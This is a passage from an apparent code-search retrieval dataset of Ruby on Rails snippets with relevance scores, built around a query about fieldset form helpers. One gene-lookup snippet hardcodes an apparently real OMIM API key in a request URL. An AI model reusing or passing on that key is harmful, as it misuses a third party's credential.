"text": "def overview\n case id\n when \"CDN-REALESTATE\"\n \"ETFs that provide exposure to the Canadian Real Estate market - broadly distributed across the country.\"\n when \"COMMODITIES\"\n \"ETFs that provide exposure to various commodities - generally considered as input to a growing economy.\"\n when \"US-LGCAP-STOCK\"\n \"ETFs that provide exposure to the equity of large, U.S. based companies.\"\n when \"US-LONG-GOV-BOND\"\n \"ETFs that provide exposure to U.S. Government debt, with long maturities.\"\n when \"INTL-REALESTATE\"\n \"ETFs that provide exposure to the International Real Estate market - broadly distributed across the globe.\"\n when \"US-REALESTATE\"\n \"ETFs that provide exposure to the U.S. Real Estate market - broadly distributed across the country.\"\n when \"US-SHORT-CORP-BOND\"\n \"ETFs that provide exposure to U.S. Corporate debt, with short maturities.\"\n when \"CDN-LONG-BOND\"\n \"ETFs that provide exposure to Canadian Corporate debt, with long maturities.\"\n when \"CDN-SHORT-BOND\"\n \"ETFs that provide exposure to Canadian Corporate debt, with short maturities.\"\n when \"US-SMCAP-STOCK\"\n \"ETFs that provide exposure to the equity of smaller U.S. based companies.\"\n when \"INTL-BOND\"\n \"ETFs that provide exposure to International Government & Corporate debt, with varying maturities.\"\n when \"US-SHORT-GOVT-BOND\"\n \"ETFs that provide exposure to U.S. Government debt, with shorter maturities.\"\n when \"US-MED-CORP-BOND\"\n \"ETFs that provide exposure to U.S. Corporate debt, with medium maturities.\"\n when \"CDN-STOCK\"\n \"ETFs that provide exposure to the equity of Canadian companies.\"\n when \"US-MED-GOV-BOND\"\n \"ETFs that provide exposure to U.S. Government debt, with medium maturities.\"\n when \"EMERG-STOCK\"\n \"ETFs that provide exposure to the equity of companies based in countries classified as Emerging Markets.\"\n when \"US-LONG-CORP-BOND\"\n \"ETFs that provide exposure to U.S. Corporate debt, with longer maturities.\"\n when \"INTL-STOCK\"\n \"ETFs that provide exposure to the equity of companies based in Europe, Asia and the Far East (EAFE).\"\n else\n raise \"Asset class overview not prepared.\"\n end\n end",
"title": ""
},
{
"docid": "9d720487ebc9e7c5390170a9e92ba4dc",
"score": "0.5344127",
"text": "def show\n @interno=Interno.find(params[:id])\n @conyugue=@interno.conyugue\n\n @hijos=@interno.hijos\n @conducta=@interno.conducta\n @contact=@interno.contact\n @court_orders=@interno.court_orders\n @rehabs=@interno.rehabs\n\n @indisciplina = @interno.conducta.where(:tipoConducta => 'Indisciplina' ) \n @robo = @interno.conducta.where(:tipoConducta => 'Robo' ) \n @agresion = @interno.conducta.where(:tipoConducta => 'Agresion' ) \n\n @historia_clinicas=@interno.historia_clinicas\n @egreso_internos=@interno.egreso_internos\n\n\n \n end",
"title": ""
},
{
"docid": "722dcc1f578a1d857cc32b72238a0342",
"score": "0.53439426",
"text": "def list\n @oyoyos = Oyoyo.find (:all)\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @oyoyo }\n end\n \nend",
"title": ""
},
{
"docid": "e8414206ea2daf7fbced1de7a78d0fef",
"score": "0.53356355",
"text": "def export_designs_csv(oligo_designs, fmt_nr=1)\n csv_string = CSV.generate(:col_sep => \"\\t\") do |csv|\n csv << ['Date', 'Project'].concat(ExportField.headings(fmt_nr))\n \n oligo_designs.each do |oligo_design|\n fld_array = []\n oligo_annotation = oligo_design.oligo_annotation\n \n ExportField.fld_names(fmt_nr).each do |model, fld|\n if model == 'oligo_design'\n fld_array << oligo_design.send(fld)\n \n elsif model == 'oligo_annotation'\n fld_array << oligo_annotation.send(fld) if oligo_annotation\n fld_array << ' ' if oligo_annotation.nil?\n end\n end\n \n csv << [Date.today.to_s, 'NA'].concat(fld_array)\n end\n end\n return csv_string\n end",
"title": ""
},
{
"docid": "6a55665af1d7f9d949241fab1426c6dd",
"score": "0.5335503",
"text": "def orgs\n @orgs = Organization.find(:all, :order => 'name ASC')\n\n respond_to do |format|\n format.html # orgs.html.erb\n format.xml { render :xml => @orgs }\n end\n end",
"title": ""
},
{
"docid": "c587464b41a9e0216da64c2c51f05ca1",
"score": "0.533439",
"text": "def generate_object_types_list\n #@items = options.objects if options.objects\n @items = [\n \"App Level Classes\",\n \"Entity Classes\",\n \"Collection Classes\",\n \"Geom Classes\",\n \"UI Classes\",\n \"Observer Classes\",\n \"Core Ruby Classes\"\n ]\n @list_title = \"Object Index\"\n @list_type = \"object_types\"\n\n # optional: the specified stylesheet class\n # when not specified it will default to the value of @list_type\n @list_class = \"class\"\n\n # Generate the full list html file with named feature_list.html\n # @note this file must be match the name of the type\n asset(url_for_list(@list_type), erb(:full_list))\nend",
"title": ""
},
{
"docid": "58c7f1e4576423602c9e2aade1ca7f0e",
"score": "0.53298086",
"text": "def index\n @admin_commercials = Commercial.order(created_at: :desc).page params[:page]\n end",
"title": ""
},
{
"docid": "e18db101bdc18c9b44cbf60f9d665c65",
"score": "0.5326874",
"text": "def index\n @admin_especies_catalogos = Admin::EspecieCatalogo.all\n end",
"title": ""
},
{
"docid": "e599336c6ad22a19b3fc611d7dc7181f",
"score": "0.53248674",
"text": "def index\n @field_offices = FieldOffice.all\n end",
"title": ""
},
{
"docid": "807ff13acc3968594b2087d1767bcfea",
"score": "0.5324107",
"text": "def index\n @officevs = Officev.all.order(:name).paginate(page: params[:page], per_page: 7 )\n end",
"title": ""
},
{
"docid": "3d9c8ec6f4399cf3a4fa4bb84ca43fb1",
"score": "0.53239405",
"text": "def show\n @ensembl = HTTParty.get('http://rest.ensembl.org' + '/lookup/id/' + @transplice.gene,\n :headers =>{'Content-Type' => 'application/json'} )\n if @ensembl[\"display_name\"].nil? \n @name = \"1\"\n else\n @name = @ensembl[\"display_name\"]\n\n @wikis = HTTParty.get('https://webservice.wikipathways.org/findPathwaysByText?query=' + @name + '&species=homo+sapiens&format=json',\n :headers =>{'Content-Type' => 'application/json'} )\n\n @pubs = HTTParty.get('https://eutils.ncbi.nlm.nih.gov/entrez/eutils/esearch.fcgi?db=pubmed&retmode=json&term='+ @name,\n :headers =>{'Content-Type' => 'application/json'} )\n \n @omim = HTTParty.get('https://api.omim.org/api/entry/search?search='+ @name+ '&start=0&limit=1&include=text:description&apiKey=6-p06gbQTZiAWNOpPn-CSw&format=xml',:headers =>{'Content-Type' => 'application/xml'} )\n \n \n\n end\nend",
"title": ""
},
{
"docid": "edbcf546b43b7b308cfcc68bc929db35",
"score": "0.5321785",
"text": "def show\n # gestiamo l'elenco dei relateds\n #params[:related] = \"people\" if params[:related].blank?\n case params[:related]\n when \"favorites\"\n # TODO\n #@relateds = current_user.favorites.search(params[:search]).order('created_at DESC').page(params[:page]).per_page(6)\n @relateds = @company.favorites.all.page(params[:page])\n @relateds_path = \"favorites\"\n when \"people\"\n @relateds = @company.company_person_maps.search_people(params[:search]).order('created_at DESC').page(params[:page])\n @relateds_path = \"company_person_maps\"\n when \"companies\"\n @relateds = Company.all.page(params[:page])\n #@relateds = Company.search(params[:search]).order('created_at DESC').page(params[:page]).per_page(6)\n @relateds_path = \"companies\"\n when \"contacts\"\n @relateds = @company.contacts.search(params[:search]).order('updated_at DESC').page(params[:page])\n @relateds_path = \"contacts\"\n when \"addresses\"\n @relateds = @company.addresses.search(params[:search]).order('updated_at DESC').page(params[:page])\n @relateds_path = \"addresses\"\n when \"histories\"\n @relateds = @company.histories.search(params[:search]).order('updated_at DESC').page(params[:page])\n @relateds_path = \"histories\"\n else\n raise \"#TODO\"\n end\n end",
"title": ""
},
{
"docid": "9493f0ea91240864a8fdfa8c5beca4ed",
"score": "0.53151965",
"text": "def index\n @explorers = Explorer.all\n end",
"title": ""
},
{
"docid": "27d7cfa0e510f06748e106cda8ff5d21",
"score": "0.53117687",
"text": "def index\n manage_filter_state\n no = params[:No]\n supplier = params[:Supplier]\n project = params[:Project]\n order = params[:Order]\n # OCO\n init_oco if !session[:organization]\n # Initialize select_tags\n @supplier = !supplier.blank? ? Supplier.find(supplier).full_name : \" \"\n @project = !project.blank? ? Project.find(project).full_name : \" \"\n @work_order = !order.blank? ? WorkOrder.find(order).full_name : \" \"\n @offer_requests = offer_requests_dropdown if @offer_requests.nil?\n\n # Arrays for search\n @projects = projects_dropdown if @projects.nil?\n current_projects = @projects.blank? ? [0] : current_projects_for_index(@projects)\n # If inverse no search is required\n no = !no.blank? && no[0] == '%' ? inverse_no_search(no) : no\n\n @search = Offer.search do\n with :project_id, current_projects\n fulltext params[:search]\n if session[:organization] != '0'\n with :organization_id, session[:organization]\n end\n if !no.blank?\n if no.class == Array\n with :offer_no, no\n else\n with(:offer_no).starting_with(no)\n end\n end\n if !supplier.blank?\n with :supplier_id, supplier\n end\n if !project.blank?\n with :project_id, project\n end\n if !order.blank?\n with :work_order_id, order\n end\n data_accessor_for(Offer).include = [:supplier, :offer_request]\n order_by :id, :desc\n paginate :page => params[:page] || 1, :per_page => per_page\n end\n @offers = @search.results\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offers }\n format.js\n end\n end",
"title": ""
},
{
"docid": "51a56b8c57d51d63c1d666dd6f734e19",
"score": "0.5311659",
"text": "def list_compros\n \n @company = Company.find(params[:company_id])\n @pagetitle = \"#{@company.name} - Viaticos\"\n @filters_display = \"block\"\n \n \n if(params[:search] and params[:search] != \"\") \n \n @compros = Compro.where([\"company_id = ? and (detalle LIKE ? OR code LIKE ?)\", @company.id,\"%\" + params[:search] + \"%\", \"%\" + params[:search] + \"%\"]).order('code').paginate(:page => params[:page]) \n else\n @compros = Compro.where(company_id: @company.id).order('fecha DESC').paginate(:page => params[:page])\n end\n \n end",
"title": ""
},
{
"docid": "5c734d03dc851b853bd631b8bb7cfa4b",
"score": "0.5311405",
"text": "def index\n @oprograms = Oprogram.all\n end",
"title": ""
},
{
"docid": "df5ec901af143c30a75cbfd467eefc64",
"score": "0.53094286",
"text": "def index\r\n \r\n if !params[:filenm].blank?\r\n uploaded_filename = file_upload(params[:filenm]) \r\n params[:bed_file] = uploaded_filename\r\n end\r\n \r\n if !params[:bed_file].blank?\r\n bed_errors, @bed_lines = BedFile.parse_bedfile(params[:bed_file])\r\n \r\n if !@bed_lines.empty?\r\n @oligo_designs = DesignQuery.query_from_coords(@bed_lines, params)\r\n @depth_array = calculate_depth(@oligo_designs, @bed_lines)\r\n handle_bed_errors(params[:bed_file], bed_errors) # Warning messages if some bed lines ignored\r\n render :action => :index\r\n \r\n else\r\n @design_query = DesignQuery.new\r\n @enzymes = []\r\n OligoDesign::ENZYMES.each {|enzyme| @enzymes.push([enzyme, false])}\r\n handle_bed_errors(params[:bed_file], bed_errors) # Error messages for invalid bed file\r\n render :action => :new_query\r\n end\r\n \r\n file = File.join(BED_ABS_PATH, params[:bed_file])\r\n File.delete(file) if File.exists?(file)\r\n \r\n else\r\n @design_query = DesignQuery.new(params[:design_query]) \r\n if @design_query.valid?\r\n qparams = params[:design_query]\r\n @bed_lines = [[qparams[:chromosome_nr].to_s, qparams[:chr_start_pos].to_i, qparams[:chr_end_pos].to_i]]\r\n @oligo_designs = DesignQuery.query_from_coords(@bed_lines, params) \r\n @depth_array = calculate_depth(@oligo_designs, @bed_lines) if @oligo_designs.size > 0\r\n render :action => :index\r\n \r\n else\r\n @enzymes = []\r\n OligoDesign::ENZYMES.each {|enzyme| @enzymes.push([enzyme, false])} \r\n render :action => :new_query\r\n end\r\n end\r\n \r\n end",
"title": ""
},
{
"docid": "afe5e59fcac3d340e03570b2853ad8e6",
"score": "0.5299737",
"text": "def show\n @manufacturer_partner = ManufacturerPartner.find(params[:id])\n @logos = SiteElement.where(\"name LIKE '%logo_inconcert_%'\").order(:name)\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @manufacturer_partner }\n format.json { render json: @manufacturer_partner }\n end\n end",
"title": ""
},
{
"docid": "ae2efa8b47bb99814f79a19d5648683b",
"score": "0.52989495",
"text": "def index\n @onsens = Onsen.all\n if params[:name].present?\n @onsens = @onsens.get_by_name params[:name]\n elsif params[:onsen].present? && params[:onsen][:prefecture_id].present? then\n logger.debug(params[:onsen])\n @onsens = @onsens.get_by_prefecture_id params[:onsen][:prefecture_id]\n # logger.debug(params[:onsen][:prefecture_id])\n else\n @onsens = Onsen.all\n end\n end",
"title": ""
},
{
"docid": "a6bee04f7747691dc84bf874186301e9",
"score": "0.52919734",
"text": "def show\n\n # when is not filter(all filter blank, it should get all the items\n if params[:item_color].blank? && params[:item_brand].blank?&& params[:item_style].blank?&¶ms[:item_make].blank?\n @items_designs = ItemsDesign.where(\"item_id = ?\",params[:id]).order(:updated_at)\n else\n\n unless params[:item_color].blank?\n @items_designs = ItemsDesign.where(\"item_id = ?\",params[:id])\n .where('lower(color) = ?',params[:item_color])\n .order(:updated_at)\n end\n unless params[:item_brand].blank?\n @items_designs = ItemsDesign.where(\"item_id = ?\",params[:id])\n .where('lower(brand) = ?',params[:item_brand])\n .order(:updated_at)\n end\n unless params[:item_style].blank?\n @items_designs = ItemsDesign.where(\"item_id = ?\",params[:id])\n .where('lower(style) = ?',params[:item_style])\n .order(:updated_at)\n end\n unless params[:item_make].blank?\n @items_designs = ItemsDesign.where(\"item_id = ?\",params[:id])\n .where('lower(make) = ?',params[:item_make])\n .order(:updated_at)\n end\n\n end\n\n if @items_designs.length < 3\n @item_length = @items_designs.length\n else\n @item_length = 3\n end\n\n @items_by_type = Item.order(:id).all\n @items_designs_by_color = ItemsDesign.select(\"lower(color) as color,max(item_id) as item_id\").where(\"item_id = ?\",params[:id]).group(\"lower(color)\").order(:color)\n @items_designs_by_brand = ItemsDesign.select(\"lower(brand) as brand,max(item_id) as item_id\").where(\"item_id = ?\",params[:id]).group(\"lower(brand)\").order(:brand)\n @items_designs_by_style = ItemsDesign.select(\"lower(style) as style,max(item_id) as item_id\").where(\"item_id = ?\",params[:id]).group(\"lower(style)\").order(:style)\n @items_designs_by_make = ItemsDesign.select(\"lower(make) as make,max(item_id) as item_id\").where(\"item_id = ?\",params[:id]).group(\"lower(make)\").order(:make)\n\n\n #set_meta_tags :og =>{\n # :image => 'http://ia.media-imdb.com/rock.jpg'\n #}\n #set_meta_tags :title => 'Member Login'\n #set_meta_tags :og => {\n # :title => 'The Rock',\n # :type => 'video.movie',\n # :url => 'http://www.imdb.com/title/tt0117500/',\n # :image => 'http://ia.media-imdb.com/rock.jpg',\n # :video => {\n # :director => 'http://www.imdb.com/name/nm0000881/',\n # :writer => ['http://www.imdb.com/name/nm0918711/', 'http://www.imdb.com/name/nm0177018/']\n # }\n\n\n respond_to do |format|\n format.html # show.html.erb\n\n end\n end",
"title": ""
},
{
"docid": "579f22534217746ee9419a34652fff89",
"score": "0.5291556",
"text": "def index\n @inventorships = Inventorship.all\n @inventorships = Inventorship.find_by_sql [\"select distinct i.* from Inventorships i, patentcases p, usercases u where u.patentcase_id = p.id and p.id = i.patentcase_id and u.user_id = (?) order by i.patentcase_id\", session[:user_id] ]\n\n @inventors = @entity.inventors if @entity\n #@inventorships = @inventors.inventorships if @inventors\n @patentcase = Patentcase.find(session[:patentcase]) if session[:patentcase]\n @entity = @patentcase.entity\n @inventorships = @patentcase.inventorships if @patentcase\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @inventorships }\n end\n end",
"title": ""
},
{
"docid": "14e67cd26fb7d46e37f11ba06e8a3a07",
"score": "0.52914256",
"text": "def show\n\n @design = Design.includes({:promoter => {:annotations => :annotation_type}, :fpu => {:annotations => :annotation_type}}).find(params[:id])\n if !@design\n render :text => 'NOT FOUND'\n return\n end\n\n @promoter = @design.promoter\n @fpu = @design.fpu\n @terminator = nil\n\n @promoter_performance = 0.6\n @fpu_performance = 0.3\n @performance = 0.5\n @performance_deviation = 0.05\n @reliability = 7\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @design }\n end\n end",
"title": ""
},
{
"docid": "2eb53a82fc624bcd7d695d009bd82f27",
"score": "0.5291001",
"text": "def index\n @calibrations = Calibration.search(params[:search], params[:page], current_user)\n @paginated_objects = @calibrations\n params[:list_conditions] = 'all'\n session[:page] = params[:page] || 1 \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @all_viewable_calibrations }\n end\n end",
"title": ""
},
{
"docid": "743143cc57ae3b59bb7b1dcb19ba8f6a",
"score": "0.52879125",
"text": "def show\n @diagnosed_disorders = @patient.get_selected_disorders\n @detected_disorders = @patient.get_detected_disorders\n #@gene = @patient.pedia.order(\"pedia_score DESC\")\n @pedia_service = @patient.pedia_services.last\n if @pedia_service.nil?\n @gene = @patient.pedia.order(\"pedia_score DESC\")\n if @gene.count > 0\n gon.results = get_pedia_json(@gene)\n end\n else\n @gene = @pedia_service.pedia.order(\"pedia_score DESC\")\n gon.results = get_pedia_json(@gene)\n end\n @pedia_status = get_status(@patient, @gene)\n @causing_muts = @patient.disease_causing_mutations\n end",
"title": ""
},
{
"docid": "310088d6a6efb61f09606ee21885e17c",
"score": "0.52853024",
"text": "def index\n\n @enterprise = current_user\n @drivers = @enterprise.drivers\n\n #logeando vista drivers con autos desde enterprise\n @cars = @enterprise.cars\n # @drivers = Driver.all\n end",
"title": ""
},
{
"docid": "99584838ad42be354e94e79d8a61a2d0",
"score": "0.5285123",
"text": "def list_products\n @company = Company.find(params[:company_id])\n @pagetitle = \"#{@company.name} - Products\"\n \n if(@company.can_view(current_user))\n if(params[:restock])\n @products = Product.where([\"company_id = ? AND quantity <= reorder\", @company.id]).paginate(:page => params[:page])\n @view_restock = true\n else\n if(params[:q] and params[:q] != \"\")\n fields = [\"name\", \"code\", \"category\", \"description\", \"comments\"]\n \n q = params[:q].strip\n @q_org = q\n \n query = str_sql_search(q, fields)\n \n @products = Product.where([\"company_id = ? AND (#{query})\", @company.id]).paginate(:page => params[:page]) \n else\n @products = Product.where(company_id: @company.id).paginate(:page => params[:page])\n end\n end\n else\n errPerms()\n end\n end",
"title": ""
},
{
"docid": "60c86b549f760f7c5f5e866674052fe6",
"score": "0.52771413",
"text": "def createDisplaysList\n for x in 1..@numberOfFloors do\n @floorDisplaysList.append(Display.new(x, DisplayStatus::ON, x))\n # puts \"elevator#{@id} display floor #{@floorDisplaysList[x - 1].id} created\"\n end\n end",
"title": ""
},
{
"docid": "51c8ca6030372e8d29514e71f0329d9b",
"score": "0.5276004",
"text": "def index\n\t\tquery = params[:query].presence || '*'\n @materials = Material.search query, aggs: [:section, :cat_1, :cat_2, :cat_3]\n @companies = @materials.map(&:companies).flatten.uniq\n\t\t@aggs = @materials.aggs\n\n\t\t# Needs to be refactored\n\t\tif @companies.map(&:name).include? query\n\t\t\t@companies.each do |company|\n\t\t\t\tif company.name = query\n\t\t\t\t\t@companies = [company]\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "ca71c7054be42349c100584d6b463430",
"score": "0.5275437",
"text": "def index\n case params[:order]\n when 'Price: Low to High'\n @apparel = Listing.order(price: :asc).apparel_unsold.with_attached_images\n render :index\n when 'Price: High to Low'\n @apparel = Listing.order(price: :desc).apparel_unsold.with_attached_images\n render :index\n when 'Product: A to Z'\n @apparel = Listing.order(title: :asc).apparel_unsold.with_attached_images\n render :index\n when 'Product: Z to A'\n @apparel = Listing.order(title: :desc).apparel_unsold.with_attached_images\n render :index\n end\n\n # Listing where only active and are apparels can be searched\n if params[:search].present?\n @apparel = Listing.apparel_search_by(search_params).with_attached_images\n else\n @apparel = Listing.apparel_unsold.with_attached_images\n end\n end",
"title": ""
}
] |
82b9d5833b025b92b0c266151072c166
|
Provides the ability to create quick fieldsets as blocks for your forms. Note: Block helpers use the syntax ==== Parameters attrs:: HTML attributes and options ==== Options +legend+:: Adds a legend tag within the fieldset ==== Returns String:: HTML ==== Example "Customer Options" do %> ...your form elements Generates the HTML: Customer Options ...your form elements
|
[
{
"docid": "4cb1a5ac29a45a26514ed9e34cbcf254",
"score": "0.7267888",
"text": "def fieldset(attrs, &blk)\n legend = (l_attr = attrs.delete(:legend)) ? tag(:legend, l_attr) : \"\"\n tag(:fieldset, legend + @origin.capture(&blk), attrs)\n # @origin.concat(contents, blk.binding)\n end",
"title": ""
}
] |
[
{
"docid": "64d48dec624ea3b47ec0118f27f6cfee",
"score": "0.7885887",
"text": "def form_field_set(options={}, &block)\n with_groups = options[:with_groups] || false \n id = \"id='#{options[:id]}'\" if options[:id]\n # wish I could do > field_set_tag(options[:legend]) { content_tag('dl', :class => \"field_set\", &block) } ... Just not smart enough...\n concat( \"<fieldset class='#{options[:with_groups] ? \"with_groups\" : \"without_groups\"}' #{id}>\", block.binding )\n concat( \"<legend>#{options[:legend]}</legend>\", block.binding ) if options[:legend]\n concat( \"<ul class='field_set'>\", block.binding) if with_groups\n concat( capture( &block ), block.binding )\n concat( \"</ul>\", block.binding) if with_groups\n concat( \"</fieldset>\", block.binding)\n end",
"title": ""
},
{
"docid": "ca7ac41a619993ba3c52e33255ed87ec",
"score": "0.76534575",
"text": "def fieldset(attrs={}, &block)\n legend = attrs.delete(:legend)\n concat( open_tag('fieldset', attrs), block.binding )\n concat( tag('legend', legend), block.binding ) if legend\n concat(capture(&block), block.binding)\n concat( \"</fieldset>\", block.binding)\n end",
"title": ""
},
{
"docid": "fd60930e08eb0cda2b9f50314913251a",
"score": "0.740533",
"text": "def fieldset name, &block\n if block_given?\n contents = if @template.respond_to?(:is_haml?) && @template.is_haml?\n @template.capture_haml(&block)\n else\n @template.capture(&block)\n end\n end\n \n contents = contents.join if contents.respond_to?(:join)\n\n fieldset = content_tag(:fieldset) do\n content_tag(:legend, name) + contents\n end\n end",
"title": ""
},
{
"docid": "469951b3893227456e66335145518d05",
"score": "0.74020356",
"text": "def generate(*args, &block)\n contents, legend = [], text\n contents << template.content_tag(:legend, legend) if legend\n contents << if block_given? \n template.capture(&block) \n else\n args\n end\n template.content_tag(:fieldset, contents.join.html_safe, html_options)\n end",
"title": ""
},
{
"docid": "e1f1e3dce6f99d0f9f72caeff000cddd",
"score": "0.73608804",
"text": "def block(label = nil, opts = {}, &blk)\n (opts[:class] ||= \"\") << \" fieldset\"\n opts[:class].strip!\n if label\n fieldset({:legend => label}) do\n tag(:div, opts, &blk)\n end\n else\n tag(:div, opts, &blk)\n end\n end",
"title": ""
},
{
"docid": "5ba81af4885dc4f43a7c697c3181bc25",
"score": "0.7283789",
"text": "def field_set(legend = nil, options = nil, &block)\n @template.content_tag(:fieldset, options) do\n (legend.blank?? \"\" : @template.content_tag(:legend, legend)) +\n @template.capture(&block)\n end\n end",
"title": ""
},
{
"docid": "a7fafc09b4e1c9fb1f4cc1cf09bee827",
"score": "0.718969",
"text": "def field_set_tag(*args, &block) \n attrs = args.last.is_a?(Hash) ? args.pop : {}\n attrs = add_css_id(attrs, ['fieldset', args.first].compact.join('-'))\n legend_text = args.first.is_a?(String || Symbol) ? args.first : attrs.delete(:legend)\n legend_html = legend_text.blank? ? '' : tag(:legend, legend_text)\n captured_html = block_given? ? capture_html(&block) : ''\n concat_content(tag(:fieldset, legend_html + captured_html, attrs))\n end",
"title": ""
},
{
"docid": "7db7145c1239e96fd13e42ea0bca58cb",
"score": "0.7127651",
"text": "def mobile_fieldset(options = {}, &proc)\n raise \"Proc needed\" unless block_given?\n concat content_tag(:fieldset, capture(&proc), options)\n end",
"title": ""
},
{
"docid": "ea4284471c3a57e5678d7001f224c9a0",
"score": "0.7112685",
"text": "def fieldset(legend, options = {}, &block)\n options[:class] = case options[:class]\n when nil then 'inlineLabels'\n when /(block|inline)Labels/ then options[:class]\n else \"inlineLabels #{options[:class]}\"\n end\n content = @template.capture(&block)\n @template.concat(@template.tag(:fieldset, options, true) + \"\\n\")\n @template.concat(\"\\t\" + @template.content_tag(:legend, legend)) unless legend.blank?\n @template.concat(content)\n @template.concat(\"</fieldset>\")\n end",
"title": ""
},
{
"docid": "705da892ae7ecd8e5450db38e102df87",
"score": "0.7096621",
"text": "def start_form_block (params = {})\n output = \"\"\n output << \"<li><div class=\\\"label\\\">#{params[:label]}</div>\" if params[:label]\n \n if params[:class]\n output << tag('fieldset', {:class => params[:class]}, true)\n else \n output << tag('fieldset', {}, true)\n end\n \n output << content_tag('legend', params[:legend]) if params[:legend]\n \n output << \"<ol\"\n output << \" style=\\\"#{params[:style]}\\\" \" if params[:style]\n output << \" id=\\\"#{params[:id]}\\\"\" if params[:id]\n output << \">\"\n output.html_safe\n end",
"title": ""
},
{
"docid": "5ef12da6c621bbcd1fd9c0db84035e40",
"score": "0.70693964",
"text": "def call(form, opts, &block)\n attr = opts[:attr] ? opts[:attr].dup : {}\n Forme.attr_classes(attr, 'inputs')\n if legend = opts[:legend]\n form.tag(:fieldset, attr) do\n form.tag(:legend, opts[:legend_attr], legend)\n yield\n end\n else\n form.tag(:fieldset, attr, &block)\n end\n end",
"title": ""
},
{
"docid": "cbdc5888f4f9da3572257377a3d9f432",
"score": "0.70092285",
"text": "def fieldset(legend = nil, options = {})\n template.content_tag(:fieldset, options) do\n template.concat template.content_tag(:legend, legend) unless legend.nil?\n yield\n end\n end",
"title": ""
},
{
"docid": "6927923ea2d951b8659acb12eaa37a58",
"score": "0.68829817",
"text": "def fieldset(&block)\n @g.fieldset(&block)\n end",
"title": ""
},
{
"docid": "2872badbd15db63af2eb78823116f771",
"score": "0.68192744",
"text": "def field_set_and_list_wrapping(*args, &block) #:nodoc:\n contents = args.last.is_a?(::Hash) ? '' : args.pop.flatten\n html_options = args.extract_options!\n\n legend = html_options.dup.delete(:name).to_s\n legend %= parent_child_index(html_options[:parent]) if html_options[:parent]\n legend = template.content_tag(:legend, template.content_tag(:span, Formtastic::Util.html_safe(legend))) unless legend.blank?\n\n if block_given?\n contents = if template.respond_to?(:is_haml?) && template.is_haml?\n template.capture_haml(&block)\n else\n template.capture(&block)\n end\n end\n\n # Ruby 1.9: String#to_s behavior changed, need to make an explicit join.\n contents = contents.join if contents.respond_to?(:join)\n fieldset = template.content_tag(:fieldset,\n Formtastic::Util.html_safe(legend) << template.content_tag(:ol, Formtastic::Util.html_safe(contents)),\n html_options.except(:builder, :parent)\n )\n\n fieldset\n end",
"title": ""
},
{
"docid": "3c35c05b7e40e150baa15fec0e5e86eb",
"score": "0.68065834",
"text": "def fieldset(name, &proc)\r\n write('<fieldset>', &proc)\r\n write(\" <legend>#{name}</legend>\", &proc) unless name.blank?\r\n list(&proc)\r\n write('</fieldset>', &proc)\r\n end",
"title": ""
},
{
"docid": "2b2ab73e920598fbc71f7154e8228219",
"score": "0.678225",
"text": "def inputs(legend = nil, options = {}, &block)\n template.content_tag(:fieldset, options) do\n template.concat template.content_tag(:legend, legend) unless legend.nil?\n block.call\n end\n end",
"title": ""
},
{
"docid": "2b2ab73e920598fbc71f7154e8228219",
"score": "0.678225",
"text": "def inputs(legend = nil, options = {}, &block)\n template.content_tag(:fieldset, options) do\n template.concat template.content_tag(:legend, legend) unless legend.nil?\n block.call\n end\n end",
"title": ""
},
{
"docid": "150c5548a4a1677be28779cd0ac18757",
"score": "0.67118067",
"text": "def fieldset(attrs = {}, &blk)\n _singleton_form_context.fieldset(attrs, &blk)\n end",
"title": ""
},
{
"docid": "251549b3da2118e1a9721b7b5365d2d6",
"score": "0.6668952",
"text": "def fieldset(title, *args, &block)\n options = args.extract_options!\n display = !args.first.nil? ? ([TrueClass, FalseClass].include?(args.first.class) ? args.shift : true) : true\n \n size, last, args = element_to_column(*args)\n \n css_classes = [] << options.delete(:class) << args\n legend_options = options.delete(:legend) || {}\n \n return unless display\n classes = css_string(css_classes)\n html = column size, last do\n content_tag(:fieldset, \n (title.blank? ? \"\" : content_tag(:legend, content_tag(:span, title), legend_options)) + \n capture(&block), \n {:class => (classes unless classes.blank?)}.merge(options))\n end\n concat(html)\n end",
"title": ""
},
{
"docid": "b8dc32588e90afddeb8365885c7d1902",
"score": "0.6578917",
"text": "def fieldset(legend: nil, hint: nil)\n content_tag :fieldset, class: 'Fieldset' do\n concat(content_tag(:legend, legend, class: 'Fieldset-legend')) if legend\n concat(\n content_tag(:div, class: 'Fieldset-children') do\n concat(content_tag(:p, hint, class: 'Hint')) if hint\n concat(yield)\n end\n )\n end\n end",
"title": ""
},
{
"docid": "fd2d7b19f5b62f904382052308a783ac",
"score": "0.65455186",
"text": "def fields(*args, &block)\n options = args.extract_options!\n html_options = options[:html] || {}\n \n @disabled = options.delete(:disabled) || @options.has_key?(:disabled)\n @report = options.delete(:report) || @options.has_key?(:report)\n\n contents = @template.capture(&block)\n fieldset = fieldset_wrapper(contents, options, html_options)\n @template.concat(fieldset)\n end",
"title": ""
},
{
"docid": "d62e07ff0c15ad70b798e4f1c4af49d2",
"score": "0.6544948",
"text": "def field_set(legend = nil, form_options = {}, &block)\n @template.send(:field_set_tag, legend, form_options, &block)\n end",
"title": ""
},
{
"docid": "15d537663cee4ba07f7492b49b49b801",
"score": "0.6491956",
"text": "def field_set_and_list_wrapping_div_legend(*args, &block) #:nodoc:\n contents = args.last.is_a?(::Hash) ? '' : args.pop.flatten\n html_options = args.extract_options!\n wrapper_tag = :ol\n wrapper_tag = html_options[:wrapper] if html_options.include?(:wrapper)\n legend = html_options.delete(:name).to_s\n legend %= parent_child_index(html_options[:parent]) if html_options[:parent]\n legend = template.content_tag(:div, template.content_tag(:span, legend), :class=>'legend') unless legend.blank?\n\n if block_given?\n contents = if template.respond_to?(:is_haml?) && template.is_haml?\n template.capture_haml(&block)\n else\n template.capture(&block)\n end\n end\n\n # Ruby 1.9: String#to_s behavior changed, need to make an explicit join.\n contents = contents.join if contents.respond_to?(:join)\n fieldset = template.content_tag(:fieldset,\n legend << template.content_tag(wrapper_tag, contents),\n html_options.except(:builder, :parent)\n )\n fieldset\n end",
"title": ""
},
{
"docid": "5384a6a990b43795cc635119a3264134",
"score": "0.6477603",
